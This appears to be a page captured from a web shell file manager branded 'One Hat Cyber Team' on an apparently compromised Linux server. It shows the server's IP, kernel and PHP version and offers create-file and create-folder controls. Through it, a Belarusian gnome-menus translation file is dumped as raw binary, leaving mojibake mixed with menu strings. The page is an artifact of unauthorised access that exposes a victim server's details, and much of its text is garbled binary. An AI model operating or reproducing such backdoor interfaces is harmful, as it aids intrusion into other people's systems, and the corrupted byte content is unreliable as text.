One Hat Cyber Team

Your IP : 216.73.216.50
Server IP : 157.15.65.100
Server : Linux 157-15-65-100.cprapid.com 5.14.0-362.24.2.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Mar 30 14:11:54 EDT 2024 x86_64
Server Software : Apache
PHP Version : 8.2.28
Buat File | Buat Folder
Dir : ~/usr/share/locale/be/LC_MESSAGES/
View File Name : gnome-menus.mo

����������������%����������p�����q�����}��%������1������������	�������������������������$�����:�����C�����S�����Z�����n�����t��2������������
������������������#��������������5�����F��	���`�����j��=��{��#������������H������O���7��8������������������������������6���
�����A��!���R�����t��������������������z������C���f	������	������	��!����	��Z����	��O���I
��%����
��a����
�����!��!���0������������������������������������	������������������������������
�������������
��������������������������������������������Accessories�Applications�Applications and sites saved from Web�Applications that did not fit in other categories�Desktop accessories�Education�Games�Games and amusements�Graphics�Graphics applications�Internet�Multimedia menu�Office�Office Applications�Other�Programming�Programs for Internet access such as web and email�Small but useful GNOME tools�Sound & Video�Sundry�System Tools�System configuration and monitoring�Tools for software development�Universal Access�Universal Access Settings�Utilities�Web Applications�Project-Id-Version: gnome-menus.master
Report-Msgid-Bugs-To: http://bugzilla.gnome.org/enter_bug.cgi?product=gnome-menus&keywords=I18N+L10N&component=general
PO-Revision-Date: 2012-06-08 18:54+0300
Last-Translator: Ігар Грачышка <ihar.hrachyshka@gmail.com>
Language-Team: Belarusian <i18n-bel-gnome@googlegroups.com>
Language: be
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;
X-Generator: Pootle 2.1.6
�Дапаможныя прылады�Праграмы�Праграмы і пляцоўкі, захаваныя з Сеціва�Праграмы, якія не трапілі ў іншыя катэгорыі�Дадатковыя настольныя прылады�Адукацыя�Гульні�Гульні і забавы�Графіка�Праграмы для працы з графікай�Інтэрнэт�Меню мультымедыяў�Офісныя праграмы�Офісныя праграмы�Іншыя праграмы�Праграмаванне�Праграмы для доступу да Інтэрнэту: сеціва, электроннай пошты і інш.�Дробныя, але карысныя прылады для GNOME�Гук і відэа�Усякае�Сістэмныя прылады�Канфігурацыя сістэмы і назіранне за яе дзейнасцю�Прылады для распрацоўвання апраграмавання�Універсальны доступ�Настройкі ўніверсальнага доступу да функцый сістэмы�Прылады�Сеціўныя праграмы�